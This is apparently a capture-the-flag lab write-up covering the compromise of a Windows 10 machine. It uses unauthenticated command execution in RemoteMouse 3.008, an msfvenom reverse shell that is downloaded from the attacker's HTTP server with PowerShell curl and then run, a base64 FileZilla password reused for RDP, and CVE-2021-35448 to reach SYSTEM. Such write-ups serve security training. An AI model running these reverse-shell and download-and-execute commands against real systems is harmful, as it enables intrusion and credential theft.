Mice
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. RemoteMouse 3.008 listening on 1978/TCP with unauthenticated remote command execution as the desktop user, RDP credentials base64-encoded inside FileZilla'srecentservers.xml, and a GUI escalation through the RemoteMouse tray icon itself (CVE-2021-35448) that spawns acmd.exeas Administrator from the "Save As" dialog.
Recon#
Initial scan#
The reply's TTL already points at the operating system:
ping -c 1 192.168.164.19964 bytes from 192.168.164.199: icmp_seq=1 ttl=125 time=32.5 ms
The full TCP port sweep returns:
sudo nmap -sT -n -Pn -p- 192.168.164.199PORT STATE SERVICE 1978/tcp open unisql 1979/tcp open unisql-java 1980/tcp open pearldoc-xact 3389/tcp open ms-wbt-server 7680/tcp open pando-pub
Those names are not a fingerprint: a port sweep never talks to the service, so it prints whatever /etc/services says for each number. The one that actually asks is -sCV:
nmap -p1978,1979,1980,3389,7680 -sCV 192.168.164.199PORT STATE SERVICE VERSION 1978/tcp open remotemouse Emote Remote Mouse 1979/tcp open unisql-java? 1980/tcp open pearldoc-xact? 3389/tcp open ms-wbt-server Microsoft Terminal Services 7680/tcp open pando-pub?
TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Nmap paints a Windows 10 desktop with RDP (3389), UPnP (7680) and three ports at 1978-1980 fingerprinted as Emote Remote Mouse (a phone app that drives the PC's mouse/keyboard over Wi-Fi).
The 1978 fingerprint is the lead. Searching by the port and product goes straight to the flaw:

RemoteMouse up to 3.008 accepts commands with no authentication on that port: the Exploit-DB entry (EDB 46697) confirms it ("fails to check for authenication and will execute any command"):

Shell as divine#
RemoteMouse 3.008 - unauthenticated RCE#
Searching for a convenient implementation of the exploit turns up p0dalirius's:

The exploit by p0dalirius simulates keystrokes (Win+R, type a command, Enter) against the 1978/TCP service: the PC "types" and runs whatever we send as if it were the logged-in user.
git clone https://github.com/p0dalirius/RemoteMouse-3.008-Exploit# ls RemoteMouse-3.008-Exploit README.md RemoteMouse-3.008-Exploit.py setup
The repo ships the RemoteMouse-3.008-Exploit.py script, which is the one we'll fire.
Standard plan: build a reverse shell, download it over HTTP and trigger it.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.201 LPORT=443 -f exe -o rev.exe &>/dev/null
python3 -m http.server 80The rev.exe is served over HTTP, and the listener is penelope: it comes up on its default 4444 and a second listener is added on 443, the payload's LPORT.
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 192.168.45.201
listeners add -p 443[+] Listening for reverse shells on 0.0.0.0:443 → ...
With that waiting, the exploit runs twice: first it pulls rev.exe onto the victim, then it runs it.
python3 RemoteMouse-3.008-Exploit.py -t 192.168.164.199 \ -c 'powershell -c "curl http://192.168.45.201/rev.exe -o C:/Windows/Temp/rev.exe"'Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.164.199 - - [07/Mar/2026 01:40:27] "GET /rev.exe HTTP/1.1" 200 -
python3 RemoteMouse-3.008-Exploit.py -t 192.168.164.199 \
-c 'C:/Windows/Temp/rev.exe'The callback comes back as divine, the account whose desktop session is open:
[+] Got reverse shell from REMOTE-PC~192.168.164.199-Microsoft_Windows_10_Pro-x64-based_PC Assigned SessionID <1>sessions 1[+] Added readline support ... [+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /root/.penelope/sessions/REMOTE-PC~192.168.164.199-Microsoft_Windows_10_Pro-x64-based_PC/2026_03_07-01_40_48-427.log C:\Users\divine>whoami whoami remote-pc\divine
C:\Users\divine\Desktop>type local.txt && whoami && ipconfig && hostname
type local.txt && whoami && ipconfig && hostname
0698167a58b07a97269c589e09de2cfc
remote-pc\divine
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.164.199
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.164.254
Remote-PCPrivilege Escalation#
RDP credentials in FileZilla (recentservers.xml)#
Before reaching for privesc primitives, we check the user's trail. FileZilla keeps recent hosts in a config file with the credential inside, %APPDATA%\FileZilla\recentservers.xml, with the password base64-encoded (not encrypted: trivial obfuscation that protects nothing; reading the file is reading the password).
Enumerating divine's %APPDATA% turns up the FileZilla folder:
dirC:\Users\divine\AppData\Roaming\FileZilla>dir dir Volume in drive C has no label. Volume Serial Number is 08DF-534D Directory of C:\Users\divine\AppData\Roaming\FileZilla 12/06/2021 08:40 PM <DIR> . 12/06/2021 08:40 PM <DIR> .. 12/06/2021 08:40 PM 18,963 filezilla.xml 12/06/2021 08:40 PM 451 layout.xml 12/06/2021 08:40 PM 28,672 queue.sqlite3 12/06/2021 08:40 PM 458 recentservers.xml 4 File(s) 48,544 bytes 2 Dir(s) 6,234,288,128 bytes free
recentservers.xml is 458 bytes, so it reads whole in one go:
type recentservers.xmlC:\Users\divine\AppData\Roaming\FileZilla>type recentservers.xml type recentservers.xml <?xml version="1.0" encoding="UTF-8"?> <FileZilla3 version="3.54.1" platform="windows"> <RecentServers> <Server> <Host>ftp.pg</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>divine</User> <Pass encoding="base64">Q29udHJvbEZyZWFrMTE=</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> </RecentServers> </FileZilla3>
echo -n 'Q29udHJvbEZyZWFrMTE=' | base64 -dControlFreak11
That password opens RDP into divine's session (same desktop account), reused by the user for convenience. Textbook credential reuse.
rdesktop 192.168.164.199 # divine / ControlFreak11
# rdesktop 192.168.164.199
Core(warning): Certificate received from server is NOT trusted by this system...
Connection established using SSL.rdesktop negotiates SSL and opens the Windows login screen: we enter divine / ControlFreak11 and land on their desktop.
CVE-2021-35448 - RemoteMouse: cmd as Administrator#
RemoteMouse runs elevated and leaves a system-tray icon. The Exploit-DB PoC documents the flaw: from Settings > Image Transfer Folder > Change..., the standard "Save As" dialog lets you type C:\Windows\System32\cmd.exe in the address bar; Windows opens cmd.exe, and since the parent runs as Administrator, the new console inherits that context. It is not a RemoteMouse bug per se, it is what happens when you run an interactive app with a high-privilege token: any standard dialog will hand it out.

Exact steps:
- Open RemoteMouse from the tray.
Settings→Image Transfer Foldersection →Change....- In the "Save As" dialog that appears, type
C:\Windows\System32\cmd.exein the address bar. - A
cmd.exespawns with the parent's token → Administrator.


In that console, whoami returns nt authority\system: RemoteMouse was running as SYSTEM, so the inherited cmd is too:
Proof.txt#
C:\Users\Administrator\Desktop>type proof.txt && whoami && ipconfig && hostname
782a6f0d37ee6c71e108f5ffa491a074
nt authority\system
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.164.199
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.164.254
Remote-PCAttack chain#
Nmap : 1978 RemoteMouse 3.008
└─ p0dalirius exploit (Win+R + cmd)
└─ curl rev.exe + run → shell as divine
└─ local.txt
└─ %APPDATA%\FileZilla\recentservers.xml (base64)
└─ divine / ControlFreak11
└─ RDP into the session
└─ CVE-2021-35448 (tray → Save As → cmd.exe)
└─ cmd as Administrator → SYSTEMLessons learned#
- RemoteMouse (and other "remote control" apps) listen on the network without authentication by default; the port fingerprint (1978/TCP as
remotemouse) is as good a lead as an anonymous-FTP banner. - Local credential stores of ordinary clients (FileZilla, Outlook, WinSCP, Notepad++ session) are almost never encrypted; base64 is just encoding. Sweeping
%APPDATA%per user is a post-exploitation routine. - A privileged GUI client plus a standard Windows dialog equals near-trivial escalation:
File > Open/Save Aslets you launch any binary under the parent's token. - Running an interactive application under an Administrator token without a directory chroot is incompatible with user-facing surfaces; standard dialogs are the door.